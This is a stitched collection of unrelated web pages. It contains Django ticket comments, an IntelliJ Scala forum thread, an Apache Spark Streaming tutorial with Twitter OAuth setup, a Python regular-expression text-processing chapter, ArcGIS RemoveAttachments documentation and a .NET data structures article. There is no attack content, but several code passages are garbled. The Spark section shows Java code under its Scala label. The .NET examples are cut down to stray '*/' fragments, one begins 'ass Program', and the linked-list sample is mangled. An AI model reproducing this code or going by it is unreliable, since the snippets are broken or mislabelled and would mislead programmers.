comment:8 Changed 2 months ago by aaugustin
During the app-loading refactor, we agreed that we didn't want to introduce constraints on the ordering of INSTALLED_APPS other than precedence for finding templates, translations, etc. Otherwise you could very quickly end up with a set of incompatible contraints.
I'm -1 on making the ability to import models conditional on a properly ordered INSTALLED_APPS. Debugging import loops during models loading is bad enough already (albeit better since 1.7).
If you want to get the user model anyway, apps.all_models or apps.get_registered_model both "work", in the sense that they'll find the model if it was already registered. The latter looks more like an API than the former but there's a ticket about removing it.
comment:9 Changed 2 months ago by aaugustin
One solution may be to introduce the equivalent of django-oscar's get_model() function and change get_user_model() to use it.
I don't think it reintroduces any of the problems app-loading eliminated, although that's hard to prove.
As part of the app-loading refactor, it's expected that calling get_user_model() at compile-time fail with this message.
The best idea I have is to create an AppConfig for your app and create the model in its ready() method, then add it to the module.
I suspect that many non-declarative models will require this pattern.
I'm leaving the ticket open for now in case someone has other ideas which may involve changes in Django.
|
https://code.djangoproject.com/ticket/22872
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CC-MAIN-2015-18
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refinedweb
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Lets say I have the following imports in my scala project...
import com.foo.bar
import com.foo.baz
If I have my cursor on an unknown `biz` which is also in the package `com.foo`, using the alt-enter auto import will get me:
import com.foo{bar, baz, biz}
Is there a way to forgo this functionalty and keep every import on its own line? I figured out how to stop the underscore import from appearing automatically(by default after 4 or 5 common package imports), but this is still a nitpick for me... any help is appreciated.
Cheers,
Stephen
Lets say I have the following imports in my scala project...
I reworked adding/optimizing imports functionality recently. So it's available as new setting in Code Style -> Scala -> Imports. It's available in the latest nighlty builds, or it will be released next week in regular plugin update.
Best regards,
Alexander Podkhalyuzin.
|
https://intellij-support.jetbrains.com/hc/en-us/community/posts/206636405-Disallow-block-imports-when-auto-importing
|
CC-MAIN-2019-26
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refinedweb
| 155
| 67.86
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Opened 4 years ago
Closed 4 years ago
Last modified 4 years ago
#20899 closed Bug (worksforme)
Elif templatetag does not work.
Description
'{{"Czas dostawy"|setChoose:"24h;48h;3 dni;Brak informacji"}}' {% if "Czas dostawy"|setChoose:"24h;48h;3 dni;Brak informacji" == "24h" %} <img src="dostawa_w24h.png"/> {% elif "Czas dostawy"|setChoose:"24h;48h;3 dni;Brak informacji" == "48h" %} <img src="dostawa_w48h.png"/> {% elif "Czas dostawy"|setChoose:"24h;48h;3 dni;Brak informacji" == "3 dni" %} <img src="dostawa_w3dni.png"/> {% else %} Inny {% endif %}
If the first line return '48h', 'if statement' return 'Inny'.
If the first line return '28h', 'if statement' return correct value <img src="dostawa_w24h.png"/>.
So only first 'if statement' work. If I replace elif with 'if and endif statement' pairs all works correct.
Please tell me if it is bug or some hole in documentation.
Mabe '==' works only for if. With elif it is always False.
But with elif something is wrong.
Change History (2)
comment:1 Changed 4 years ago by
comment:2 Changed 4 years ago by
Thanks for quick answer, very good answer. And sorry for my ticket without any investigation.
I have checked in new example and elif == works nice.
After investigation in my previous code i see that it was my mistake:
SET_FILTER_RE = compile(r'''{({|\% if )\s*(["'](?P<name>[^"']+)["'])\s*\|\s*set(?P<type>Textarea|Text|Color|Check|Choose)(:["'](?P<default>[^"']+)["'])?''')
Regular expression insert new filters to user template, and it is very simply now - works only for {{ }} and {% if %}.
Thanks for answer.
We have unit tests that validate that the elif tag works as documented. On the other hand, you've presented an example that apparently doesn't work, but depends on a "setChoose" template tag, for which you haven't provided any code.
I'd take a bet that the problem is with setChoose, not with elif -- or, at least, with the way that setChoose is interacting with the equality statement you're using.
If you want to assert that == doesn't work with elif, you'll need to narrow down your test case a bit so that it isn't relying on other factors.
Closing as "worksforme", because I can't reproduce with the information you've provided. If you can reduce your example to a minimal *and complete* test case, please reopen this ticket.
|
https://code.djangoproject.com/ticket/20899
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Introduction to Apache Spark Streaming
Apache Spark Streaming
Spark streaming is a feature which provides us with a fault tolerant, and highly scalable streaming process.
Setting up the system
In this section, you will learn how to set up the system ready for streaming in both Scala and Java. For Scala users, this should be as follows:
* scala/sbt: This is the directory containing the SBT tools.
* scala/build.sbt: this is the project file for SBT.
* scala/Section.scala: this is the Main Scala program that that is to be used for editing, compiling and running.
* scala/Helper.scala: This is the scala file which has the helper functions for Section.scala
For Java users, this should be as follows:
* java/sbt: this is the directory having the SBT tool
* java/build.sbt: this is the project file for SBT
* java/Section.java this is the main program to edit, compile and run
* java/Heler.java: this is a java file which has few helper functions
* java/ScalaHelper.java: this is a Scala file which has few helper functions
We now need to have a look at the main file which is to be edited, compiled, and then run. This is the Section.java or the Section. Scala file. Its code is given below:
For Scala, it is as follows:
import spark._
import StreamingContext._
import spark.streaming._
import TutorialHelper._
object Section {
def main(args: Array[String]) {
// The Location of our Spark directory
val spHome = “/root/spark”
// The URL for the Spark cluster
val spUrl = getSparkUrl()
// where the JAR files are located
val jFile = “target/scala- 2.9.3/section_2.9.3-0.1-SNAPSHOT.jar”
//Our HDFS directory for checkpointing purpose
val chpointDir = Helper.getHdfsUrl() + “/checkpoint/”
// use twitter.txt for configuring the credentials of Twitter
}
}
For Java, this should be as follows:
import java.util.Arrays;
import spark.api.java.function.*;
import spark.api.java.*;
import scala.Tuple2;
import spark.streaming.*;
import spark.streaming.api.java.*;
import twitter4j.*;
public class Section {
public static void main(String[] args) throws Exception {
//The Location of our Spark directory
String spHome = “/root/spark”;
//The URL for the Spark cluster
String spUrl = Helper.getSparkUrl();
//The Location having the required JAR files
String jFile = “target/scala- 2.9.3/section_2.9.3-0.1-SNAPSHOT.jar”;
// The HDFS directory for purpose of checkpointing
String chpointDir = Helper.getHdfsUrl() + “/checkpoint/”;
// The login.txt text for twitter credentials
// The code should be added here
}
}
Note the use of the helper functions in the code which will help in adding the parameters which are needed for our exercises. The function “getSparkUrl()” will help in fetching the Spark cluster URL which is contained in the file “/root/spark-ec2/cluster-url.”The function “configureTwitterCredential()” is also a helper function, and it will help in the configuration of Twitter authentication details by use of the file “/root/streaming/twitter.txt.”
We should also configure the OAuth authentication for our Twitter account. For you to do this, a consumer key+secret pair has to be set up by use of the Twitter account.
You should begin by creating a new and a temporary application. To do this, just click on the blue button labeled “Create a new application.” The following window will appear:
You can then provide the details about the application which are needed in the above form. In the case of the name, it has to be unique. After creation of the project, you will be asked to confirm it. At the window for doing this, you will see the consumer key and the consumer secret which the system has generated for you. For you to generate the access token and the access token secret, just navigate to the bottom and then click on the blue button labeled “Create my access token.” You need to know that a confirmation will be available at the top which will tell you that it has been generated.
If you need to obtain the keys and the secrets which are required for the purpose of authentication, click on the tab labeled “OAuth Tool” at the menu located at the top of the page. A page with all of the details will be presented to you.
You can then open the text editor of your choice so as to edit the configuration details of the Twitter. This is shown below:
cd /root/streaming/
vim twitter.txt
After execution of the above commands, the following template will be observed:
consumerKey =
consumerSecret =
accessToken =
accessTokenSecret =
The above should then be filled with the appropriate keys. These can be copied from the previous web page, and then pasted in the appropriate fields. Once you are done, it is good for you to perform a double check so as to ensure that the right keys have been provided in the right fields. You can then save your configuration settings before proceeding to write the program for streaming purpose.
Now, we want to write our program for streaming purpose. This should print the tweets that it receives each second. First, begin by opening the file with a text editor as shown below:
In Scala:
cd /root/streaming/scala/
vim Section.scala
In Java, this will be as follows:
cd /root/streaming/java/
vim Section.java
The following should be the next part for Scala users:
val tts = ssc.twitterStream()
For Java users, the above should be as follows:
JavaDStream<Status> tts = ssc.twitterStream();
To print some of the tweets which are available, let’s go as follows:
Scala:
JavaDStream<Status> tts = ssc.twitterStream();
For Java, this will be as follows:
JavaDStream<String> st = tts.map(
new Function<Status, String>() {
public String call(Status st) { return st.getText(); }
}
);
st.print();
In the case of the intermediate data, we have to set some checkpointing operation. This can be done as follows:
Scala:
ssc.checkpoint(chpointDir)
Java:
ssc.checkpoint(chpointDir);
Our final step should be to inform the context to start the computation which we have just created. This can be done as follows:
Scala:
ssc.start()
Java:
ssc.start();
That is how the process can be done.
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http://mindmajix.com/spark/introduction-to-apache-spark-streaming
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For visual clarity or to identify the role of text, blocks of text are often indented?especially in prose-oriented documents (but log files, configuration files, and the like might also have unused initial fields). For downstream purposes, indentation is often irrelevant, or even outright incorrect, since the indentation is not part of the text itself but only a decoration of the text. However, it often makes matters even worse to perform the very most naive transformation of indented text?simply remove leading whitespace from every line. While block indentation may be decoration, the relative indentations of lines within blocks may serve important or essential functions (for example, the blocks of text might be Python source code).
The general procedure you need to take in maximally unindenting a block of text is fairly simple. But it is easy to throw more code at it than is needed, and arrive at some inelegant and slow nested loops of string.find() and string.replace() operations. A bit of cleverness in the use of regular expressions?combined with the conciseness of a functional programming (FP) style?can give you a quick, short, and direct transformation.
# Remove as many leading spaces as possible from whole block from re import findall,sub # What is the minimum line indentation of a block? indent = lambda s: reduce(min,map(len,findall('(?m)^ *(?=\S)',s))) # Remove the block-minimum indentation from each line? flush_left = lambda s: sub('(?m)^ {%d}' % indent(s),'',s) if __name__ == '__main__': import sys print flush_left(sys.stdin.read())
The flush_left() function assumes that blocks are indented with spaces. If tabs are used?or used combined with spaces?an initial pass through the utility untabify.py (which can be found at $PYTHONPATH/tools/scripts/) can convert blocks to space-only indentation.
A helpful adjunct to flush_left() is likely to be the reformat_para() function that was presented in Chapter 2, Problem 2. Between the two of these, you could get a good part of the way towards a "batch-oriented word processor." (What other capabilities would be most useful?)
Documentation of command-line options to programs is usually in semi-standard formats in places like manpages, docstrings, READMEs and the like. In general, within documentation you expect to see command-line options indented a bit, followed by a bit more indentation, followed by one or more lines of description, and usually ended by a blank line. This style is readable for users browsing documentation, but is of sufficiently complexity and variability that regular expressions are well suited to finding the right descriptions (simple string methods fall short).
A specific scenario where you might want a summary of command-line options is as an aid to understanding configuration files that call multiple child commands. The file /etc/inetd.conf on Unix-like systems is a good example of such a configuration file. Moreover, configuration files themselves often have enough complexity and variability within them that simple string methods have difficulty parsing them.
The utility below will look for every service launched by /etc/inetd.conf and present to STDOUT summary documentation of all the options used when the services are started.
import re, os, string, sys def show_opts(cmdline): args = string.split(cmdline) cmd = args[0] if len(args) > 1: opts = args[1:] # might want to check error output, so use popen3() (in_, out_, err) = os.popen3('man %s | col -b' % cmd) manpage = out_.read() if len(manpage) > 2: # found actual documentation print '\n%s' % cmd for opt in opts: pat_opt = r'(?sm)^\s*'+opt+r'.*?(?=\n\n)' opt_doc = re.search(pat_opt, manpage) if opt_doc is not None: print opt_doc.group() else: # try harder for something relevant mentions = [] for para in string.split(manpage,'\n\n'): if re.search(opt, para): mentions.append('\n%s' % para) if not mentions: print '\n ',opt,' '*9,'Option docs not found' else: print '\n ',opt,' '*9,'Mentioned in below para:' print '\n'.join(mentions) else: # no manpage available print cmdline print ' No documentation available' def services(fname): conf = open(fname).read() pat_srv = r'''(?xm)(?=^[^#]) # lns that are not commented out (?:(?:[\w/]+\s+){6}) # first six fields ignored (.*$) # to end of ln is servc launch''' return re.findall(pat_srv, conf) if __name__ == '__main__': for service in services(sys.argv[1]): show_opts(service)
The particular tasks performed by show_opts() and services() are somewhat specific to Unix-like systems, but the general techniques are more broadly applicable. For example, the particular comment character and number of fields in /etc/inetd. conf might be different for other launch scripts, but the use of regular expressions to find the launch commands would apply elsewhere. If the man and col utilities are not on the relevant system, you might do something equivalent, such as reading in the docstrings from Python modules with similar option descriptions (most of the samples in $PYTHONPATH/tools/ use compatible documentation, for example).
Another thing worth noting is that even where regular expressions are used in parsing some data, you need not do everything with regular expressions. The simple string.split() operation to identify paragraphs in show_opts() is still the quickest and easiest technique, even though re.split() could do the same thing.
Note: Along the lines of paragraph splitting, here is a thought problem. What is a regular expression that matches every whole paragraph that contains within it some smaller pattern pat? For purposes of the puzzle, assume that a paragraph is some text that both starts and ends with doubled newlines ("\n\n").
A common typo in prose texts is doubled words (hopefully they have been edited out of this book except in those few cases where they are intended). The same error occurs to a lesser extent in programming language code, configuration files, or data feeds. Regular expressions are well-suited to detecting this occurrence, which just amounts to a backreference to a word pattern. It's easy to wrap the regex in a small utility with a few extra features:
# Detect doubled words and display with context # Include words doubled across lines but within paras import sys, re, glob for pat in sys.argv[1:]: for file in glob.glob(pat): newfile = 1 for para in open(file).read().split('\n\n'): dups = re.findall(r'(?m)(^.*(\b\w+\b)\s*\b\2\b.*$)', para) if dups: if newfile: print '%s\n%s\n' % ('-'*70,file) newfile = 0 for dup in dups: print '[%s] -->' % dup[1], dup[0]
This particular version grabs the line or lines on which duplicates occur and prints them for context (along with a prompt for the duplicate itself). Variations are straightforward. The assumption made by dupwords.py is that a doubled word that spans a line (from the end of one to the beginning of another, ignoring whitespace) is a real doubling; but a duplicate that spans paragraphs is not likewise noteworthy.
Web servers are a ubiquitous source of information nowadays. But finding URLs that lead to real documents is largely hit-or-miss. Every Web maintainer seems to reorganize her site every month or two, thereby breaking bookmarks and hyperlinks. As bad as the chaos is for plain Web surfers, it is worse for robots faced with the difficult task of recognizing the difference between content and errors. By-the-by, it is easy to accumulate downloaded Web pages that consist of error messages rather than desired content.
In principle, Web servers can and should return error codes indicating server errors. But in practice, Web servers almost always return dynamically generated results pages for erroneous requests. Such pages are basically perfectly normal HTML pages that just happen to contain text like "Error 404: File not found!" Most of the time these pages are a bit fancier than this, containing custom graphics and layout, links to site homepages, JavaScript code, cookies, meta tags, and all sorts of other stuff. It is actually quite amazing just how much many Web servers send in response to requests for nonexistent URLs.
Below is a very simple Python script to examine just what Web servers return on valid or invalid requests. Getting an error page is usually as simple as asking for a page called or the like (anything that doesn't really exist). urllib is discussed in Chapter 5, but its details are not important here.
import sys from urllib import urlopen if len(sys.argv) > 1: fpin = urlopen(sys.argv[1]) print fpin.geturl() print fpin.info() print fpin.read() else: print "No specified URL"
Given the diversity of error pages you might receive, it is difficult or impossible to create a regular expression (or any program) that determines with certainty whether a given HTML document is an error page. Furthermore, some sites choose to generate pages that are not really quite errors, but not really quite content either (e.g, generic directories of site information with suggestions on how to get to content). But some heuristics come quite close to separating content from errors. One noteworthy heuristic is that the interesting errors are almost always 404 or 403 (not a sure thing, but good enough to make smart guesses). Below is a utility to rate the "error probability" of HTML documents:
import re, sys page = sys.stdin.read() # Mapping from patterns to probability contribution of pattern err_pats = {r'(?is)<TITLE>.*?(404|403).*?ERROR.*?</TITLE>': 0.95, r'(?is)<TITLE>.*?ERROR.*?(404|403).*?</TITLE>': 0.95, r'(?is)<TITLE>ERROR</TITLE>': 0.30, r'(?is)<TITLE>.*?ERROR.*?</TITLE>': 0.10, r'(?is)<META .*?(404|403).*?ERROR.*?>': 0.80, r'(?is)<META .*?ERROR.*?(404|403).*?>': 0.80, r'(?is)<TITLE>.*?File Not Found.*?</TITLE>': 0.80, r'(?is)<TITLE>.*?Not Found.*?</TITLE>': 0.40, r'(?is)<BODY.*(404|403).*</BODY>': 0.10, r'(?is)<H1>.*?(404|403).*?</H1>': 0.15, r'(?is)<BODY.*not found.*</BODY>': 0.10, r'(?is)<H1>.*?not found.*?</H1>': 0.15, r'(?is)<BODY.*the requested URL.*</BODY>': 0.10, r'(?is)<BODY.*the page you requested.*</BODY>': 0.10, r'(?is)<BODY.*page.{1,50}unavailable.*</BODY>': 0.10, r'(?is)<BODY.*request.{1,50}unavailable.*</BODY>': 0.10, r'(?i)does not exist': 0.10, } err_score = 0 for pat, prob in err_pats.items(): if err_score > 0.9: break if re.search(pat, page): # print pat, prob err_score += prob if err_score > 0.90: print 'Page is almost surely an error report' elif err_score > 0.75: print 'It is highly likely page is an error report' elif err_score > 0.50: print 'Better-than-even odds page is error report' elif err_score > 0.25: print 'Fair indication page is an error report' else: print 'Page is probably real content'
Tested against a fair number of sites, a collection like this of regular expression searches and threshold confidences works quite well. Within the author's own judgment of just what is really an error page, erro_page.py has gotten no false positives and always arrived at at least the lowest warning level for every true error page.
The patterns chosen are all fairly simple, and both the patterns and their weightings were determined entirely subjectively by the author. But something like this weighted hit-or-miss technique can be used to solve many "fuzzy logic" matching problems (most having nothing to do with Web server errors).
Code like that above can form a general approach to more complete applications. But for what it is worth, the scripts url_examine.py and error_page.py may be used directly together by piping from the first to the second. For example:
% python urlopen.py | python ex_error_page.py Page is almost surely an error report
Many configuration files and other types of computer code are line oriented, but also have a facility to treat multiple lines as if they were a single logical line. In processing such a file it is usually desirable as a first step to turn all these logical lines into actual newline-delimited lines (or more likely, to transform both single and continued lines as homogeneous list elements to iterate through later). A continuation character is generally required to be the last thing on a line before a newline, or possibly the last thing other than some whitespace. A small (and very partial) table of continuation characters used by some common and uncommon formats is listed below:
\ Python, JavaScript, C/C++, Bash, TCL, Unix config _ Visual Basic, PAW & Lyris, COBOL, IBIS ; Clipper, TOP - XSPEC, NetREXX = Oracle Express
Most of the formats listed are programming languages, and parsing them takes quite a bit more than just identifying the lines. More often, it is configuration files of various sorts that are of interest in simple parsing, and most of the time these files use a common Unix-style convention of using trailing backslashes for continuation lines.
One could manage to parse logical lines with a string module approach that looped through lines and performed concatenations when needed. But a greater elegance is served by reducing the problem to a single regular expression. The module below provides this:
# Determine the logical lines in a file that might have # continuation characters. 'logical_lines()' returns a # list. The self-test prints the logical lines as # physical lines (for all specified files and options). import re def logical_lines(s, continuation='\\', strip_trailing_space=0): c = continuation if strip_trailing_space: s = re.sub(r'(?m)(%s)(\s+)$'%[c], r'\1', s) pat_log = r'(?sm)^.*?$(?<!%s)'%[c] # e.g. (?sm)^.*?$(?<!\\) return [t.replace(c+'\n','') for t in re.findall(pat_log, s)] if __name__ == '__main__': import sys files, strip, contin = ([], 0, '\\') for arg in sys.argv[1:]: if arg[:-1] == '--continue=': contin = arg[-1] elif arg[:-1] == '-c': contin = arg[-1] elif arg in ('--string','-s'): strip = 1 else: files.append(arg) if not files: files.append(sys.stdin) for file in files: s = open(sys.argv[1]).read() print '\n'.join(logical_lines(s, contin, strip))
The comment in the pat_log definition shows a bit just how cryptic regular expressions can be at times. The comment is the pattern that is used for the default value of continuation. But as dense as it is with symbols, you can still read it by proceeding slowly, left to right. Let us try a version of the same line with the verbose modifier and comments:
>>> pat = r''' ... (?x) # This is the verbose version ... (?s) # In the pattern, let "." match newlines, if needed ... (?m) # Allow ^ and $ to match every begin- and end-of-line ... ^ # Start the match at the beginning of a line .... *? # Non-greedily grab everything until the first place ... # where the rest of the pattern matches (if possible) ... $ # End the match at an end-of-line ... (?<! # Only count as a match if the enclosed pattern was not ... # the immediately last thing seen (negative lookbehind) ... \\) # It wasn't an (escaped) backslash'''
A neat feature of many Internet and news clients is their automatic identification of resources that the applications can act upon. For URL resources, this usually means making the links "clickable"; for an email address it usually means launching a new letter to the person at the address. Depending on the nature of an application, you could perform other sorts of actions for each identified resource. For a text processing application, the use of a resource is likely to be something more batch-oriented: extraction, transformation, indexing, or the like.
Fully and precisely implementing RFC1822 (for email addresses) or RFC1738 (for URLs) is possible within regular expressions. But doing so is probably even more work than is really needed to identify 99% of resources. Moreover, a significant number of resources in the "real world" are not strictly compliant with the relevant RFCs?most applications give a certain leeway to "almost correct" resource identifiers. The utility below tries to strike approximately the same balance of other well-implemented and practical applications: get almost everything that was intended to look like a resource, and almost nothing that was intended not to:
# Functions to identify and extract URLs and email addresses import re, fileinput pat_url = re.compile( r''' (?x)( # verbose identify URLs within text ( # make sure we find a resource type :// # ...needs to be followed by colon-slash-slash (\w+[:.]?){2,} # at least two domain groups, e.g. (gnosis.)(cx) (/?| # could be just the domain name (maybe w/ slash) [^ \n\r"]+ # or stuff then space, newline, tab, quote [\w/]) # resource name ends in alphanumeric or slash (?=[\s\.,>)'"\]]) # assert: followed by white or clause ending ) # end of match group ''') pat_email = re.compile(r''' (?xm) # verbose identify URLs in text (and multiline) (?=^.{11} # Mail header matcher (?<!Message-ID:| # rule out Message-ID's as best possible In-Reply-To)) # ...and also In-Reply-To (.*?)( # must grab to email to allow prior lookbehind ([A-Za-z0-9-]+\.)? # maybe an initial part: DAVID.mertz@gnosis.cx [A-Za-z0-9-]+ # definitely some local user: MERTZ@gnosis.cx @ # ...needs an at sign in the middle (\w+\.?){2,} # at least two domain groups, e.g. (gnosis.)(cx) (?=[\s\.,>)'"\]]) # assert: followed by white or clause ending ) # end of match group ''') extract_urls = lambda s: [u[0] for u in re.findall(pat_url, s)] extract_email = lambda s: [(e[1]) for e in re.findall(pat_email, s)] if __name__ == '__main__': for line in fileinput.input(): urls = extract_urls(line) if urls: for url in urls: print fileinput.filename(),'=>',url emails = extract_email(line) if emails: for email in emails: print fileinput.filename(),'->',email
A number of features are notable in the utility above. One point is that everything interesting is done within the regular expressions themselves. The actual functions extract_urls() and extract_email() are each a single line, using the conciseness of functional-style programming, especially list comprehensions (four or five lines of more procedural code could be used, but this style helps emphasize where the work is done). The utility itself prints located resources to STDOUT, but you could do something else with them just as easily.
A bit of testing of preliminary versions of the regular expressions led me to add a few complications to them. In part this lets readers see some more exotic features in action; but in greater part, this helps weed out what I would consider "false positives." For URLs we demand at least two domain groups?this rules out LOCALHOST addresses, if present. However, by allowing a colon to end a domain group, we allow for specified ports such as
Email addresses have one particular special consideration. If the files you are scanning for email addresses happen to be actual mail archives, you will also find Message-ID strings. The form of these headers is very similar to that of email addresses (In-Reply-To: headers also contain Message-IDs). By combining a negative look-behind assertion with some throwaway groups, we can make sure that everything that gets extracted is not a Message-ID: header line. It gets a little complicated to combine these things correctly, but the power of it is quite remarkable.
In producing human-readable documents, Python's default string representation of numbers leaves something to be desired. Specifically, the delimiters that normally occur between powers of 1,000 in written large numerals are not produced by the str() or repr() functions?which makes reading large numbers difficult. For example:
>>> budget = 12345678.90 >>> print 'The company budget is $%s' % str(budget) The company budget is $12345678.9 >>> print 'The company budget is %10.2f' % budget The company budget is 12345678.90
Regular expressions can be used to transform numbers that are already "stringified" (an alternative would be to process numeric values by repeated division/remainder operations, stringifying the chunks). A few basic utility functions are contained in the module below.
# Create/manipulate grouped string versions of numbers import re def commify(f, digits=2, maxgroups=5, european=0): template = '%%1.%df' % digits s = template % f pat = re.compile(r'(\d+)(\d{3})([.,]|$)([.,\d]*)') if european: repl = r'\1.\2\3\4' else: # could also use locale.localeconv()['decimal_point'] repl = r'\1,\2\3\4' for i in range(maxgroups): s = re.sub(pat,repl,s) return s def uncommify(s): return s.replace(',','') def eurify(s): s = s.replace('.','\000') # place holder s = s.replace(',','.') # change group delimiter s = s.replace('\000',',') # decimal delimiter return s def anglofy(s): s = s.replace(',','\000') # place holder s = s.replace('.',',') # change group delimiter s = s.replace('\000','.') # decimal delimiter return s vals = (12345678.90, 23456789.01, 34567890.12) sample = '''The company budget is $%s. Its debt is $%s, against assets of $%s''' if __name__ == '__main__': print sample % vals, '\n-----' print sample % tuple(map(commify, vals)), '\n-----' print eurify(sample % tuple(map(commify, vals))), '\n-----'
The technique used in commify() has virtues and vices. It is quick, simple, and it works. It is also slightly kludgey inasmuch as it loops through the substitution (and with the default maxgroups argument, it is no good for numbers bigger than a quintillion; most numbers you encounter are smaller than this). If purity is a goal?and it probably should not be?you could probably come up with a single regular expression to do the whole job. Another quick and convenient technique is the "place holder" idea that was mentioned in the introductory discussion of the string module.
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https://etutorials.org/Programming/Python.+Text+processing/Chapter+3.+Regular+Expressions/3.2+Some+Common+Tasks/
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Summary
Removes attachments from geodatabase feature class or table records. Since attachments are not actually stored in the input dataset, no changes will be made to that feature class or table, but rather to the related geodatabase table that stores the attachments and maintains linkage with the input dataset. A match table is used to identify which input records (or attribute groups of records) will have attachments removed.
Illustration
Usage
An alternative to using this tool is to delete selected records from the InputDataset__ATTACH table in the same geodatabase as the Input Dataset, which stores attachments and maintains linkage to the Input Dataset.
Syntax
RemoveAttachments_management (in_dataset, in_join_field, in_match_table, in_match_join_field, {in_match_name_field})
Code sample
RemoveAttachments example (Python window)
The following code snippet illustrates how to use the RemoveAttachments tool in the Python window.
import arcpy arcpy.RemoveAttachments_management(r"C:\Data\City.gdb\Parcels", "ParcelID", r"C:\Data\matchtable.csv", "ParcelID","Picture")
RemoveAttachments example (stand-alone Python script)
The following script illustrates how to use the RemoveAttachments tool in a stand-alone script.
## Some of the attachments we added to a feature class are unnecessary, let's remove them. import csv, arcpy, os, sys input = r"C:\Data\City.gdb\Parcels" inputField = "ParcelID" matchTable = r"C:\Data\matchtable.csv" matchField = "ParcelID" nameField = "Picture" # create a new Match Table csv file that will tell the RemoveAttachments tool which attachments to delete writer = csv.writer(open(matchTable, "wb"), delimiter=",") # write a header row (the table will have two columns: ParcelID and Picture) writer.writerow([matchField, nameField]) # create a list of the attachments to delete # removes attachments pic1a.jpg and pic1b.jpg from feature 1, pic3.jpg from feature 3, and pic4.jpg from feature 4. deleteList = [[1, "pic1a.jpg"], [1, "pic1b.jpg"], [3, "pic3.jpg"], [4, "pic4.jpg"]] # iterate through the delete list and write it to the Match Table csv for row in deleteList: writer.writerow(row) del writer # use the match table with the Remove Attachments tool arcpy.RemoveAttachments_management(input, inputField, matchTable, matchField, nameField)
Environments
Licensing information
- ArcGIS Desktop Basic: No
- ArcGIS Desktop Standard: Yes
- ArcGIS Desktop Advanced: Yes
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http://pro.arcgis.com/en/pro-app/tool-reference/data-management/remove-attachments.htm
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Stack
Queue
Linked List
Hashtable
Binary Search
Binary Search Tree
Graphs
Sorting Algorithms
The importance of the algorithms complexity is given by the fact that it tells us if the code is scaling. Most fundamental data structures and algorithms are already implemented in the .NET Framework, it is important to know how these data structures work and what time, memory complexity they have for the basic operations: accessing element, searching element, deleting element, adding element.
To get an idea of what a good complexity means and a less good one we have the following chart:
In the .NET Framework we have implemented the following data structures: array, stack, queue, linked list and algorithms: binary search, the rest which we do not find in the .NET Framework can be found in NuGet packages or on GitHub. Array is one of the most used and well-known data structures and I will not go into detail with the operating principle.
Stack
Stack is a data structure implemented in the .NET Framework in two ways, simple stack in System.Collections namespace, and stack as generic data structure in System.Collections.Generic namespace, the principle of stack structure operation is LIFO (last in first out), the last element entered first out.
Example of using simple stack from the namespace System.Collections:
*/
Example of using generic stack from the namespace System.Collections.Generic: */
Stack applications:
- undo / redo functionality
- word reversal
- stack back/forward on browsers
- backtracking algorithms
- bracket verification
Queue
Queue is a data structure implemented in the .NET Framework in two ways, the simple queue in System.Collections namespace, and the queue as the generic data structure in System.Collections.Generic namespace, the working principle of queue structures is FIFO (first in first out), the first element entered first out.
Example of using the simple queue from the namespace System.Collections:
! */
Example of using the generic queue from the namespace System.Collections.Generic: */
Real life example of queue:
The system from the point of sale of a restaurant.
Linked List
Linked List is a data structure implemented in the .NET Framework as a generic data structure in System.Collections.Generic namespace, the principle of functioning of the linked list structures is that each node in the list has a reference to the next node, except the tail of the list, which has no reference to the next node.
An example of search in linked list of the third item starting from the end:
Example of using the generic linked list from namespace System.Collections.Generic:
using System; using System.Text; using System.Collections.Generic; public class Example { public static void Main() { // Create the link list. string[] words = { "the", "fox", "jumps", "over", "the", "dog" }; LinkedList<string> sentence = new LinkedList<string>(words); Display(sentence, "The linked list values:"); Console.WriteLine("sentence.Contains(\"jumps\") = {0}", sentence.Contains("jumps")); // linked list. string[] sArray = new string[sentence.Count]; sentence.CopyTo(sArray, 0); foreach (string s in sArray) { Console.WriteLine(s); } // Release all the nodes. sentence.Clear(); Console.WriteLine(); Console.WriteLine("Test 17: Clear linked list. Contains 'jumps' = {0}", sentence.Contains("jumps")); jumps over the dog //Test 1: Add 'today' to beginning of the list: //today the fox jumps over the dog //Test 2: Move first node to be last node: //the fox jumps over the dog today //Test 3: Change the last node to 'yesterday': //the fox jumps over the dog yesterday //Test 4: Move last node to be first node: //yesterday the fox jumps over the dog //Test 5: Indicate last occurence of 'the': //the fox jumps over (the) dog //Test 6: Add 'lazy' and 'old' after 'the': //the fox jumps over (the) lazy old dog //Test 7: Indicate the 'fox' node: //the (fox) jumps over the lazy old dog //Test 8: Add 'quick' and 'brown' before 'fox': //the quick brown (fox) jumps over the lazy old dog //Test 9: Indicate the 'dog' node: //the quick brown fox jumps over the lazy old (dog) //Test 10: Throw exception by adding node (fox) already in the list: //Exception message: The LinkedList node belongs a LinkedList. //Test 11: Move a referenced node (fox) before the current node (dog): //the quick brown jumps over the lazy old fox (dog) //Test 12: Remove current node (dog) and attempt to indicate it: //Node 'dog' is not in the list. //Test 13: Add node removed in test 11 after a referenced node (brown): //the quick brown (dog) jumps over the lazy old fox //Test 14: Remove node that has the value 'old': //the quick brown dog jumps over the lazy fox //Test 15: Remove last node, cast to ICollection, and add 'rhinoceros': //the quick brown dog jumps over the lazy rhinoceros //Test 16: Copy the list to an array: //the //quick //brown //dog //jumps //over //the //lazy //rhinoceros //Test 17: Clear linked list. Contains 'jumps' = False //
Hashtable
Hashtable is a data structure implemented in the .NET Framework in two ways, simple Hashtable in the namespace System.Collections and as generic data structure Dictionary in System.Collections.Generic namespace, it is recommended to use Dictionary instead of Hashtable, the working principle of Hashtable and Dictionary is that construct a hash that is index into an array usually using polynomials. Searching in a Hashtable and Dictionary has the complexity of time O(1).
Example of using generic Dictionary from System.Collections.Generic namespace:
//. */
Hashtable applications:
- is used in fast data lookup - the compiler symbol table
- indexing the database
- caches
- unique data representation
Of course, the .NET Framework contains several data structures optimized for certain problems, the purpose of this article is not to present all data structures from .NET Framework, I presented only common data structures from courses of algorithms and data structures.
Binary Search
Search algorithms are another topic in the courses of algorithms and data structures, we can use sequential search with O(n) complexity, or binary search with O(log n) complexity if the elements are sorted.
The idea behind binary search is that we access the middle element and compare with the searched one if it is smaller repeats the recursive process for the first half, otherwise it is searching in the second half, the binary search in the .NET Framework is implemented with Array.BinarySearch.
An example of using binary search using the Array.BinarySearch method in the .NET Framework:
ass Program { static void Main(string[] args) { // Create an array of 10 elements int[] IntArray = new int[10] { 1, 3, 5, 7, 11, 13, 17, 19, 23, 31 }; // Value to search for int target = 17; int pos = Array.BinarySearch(IntArray, target); if (pos >= 0) Console.WriteLine($"Item {IntArray[pos].ToString()} found at position {pos + 1}."); else Console.WriteLine("Item not found"); Console.ReadKey(); }
Binary Search Tree
A GitHub repository with custom implementations for most data structures:.
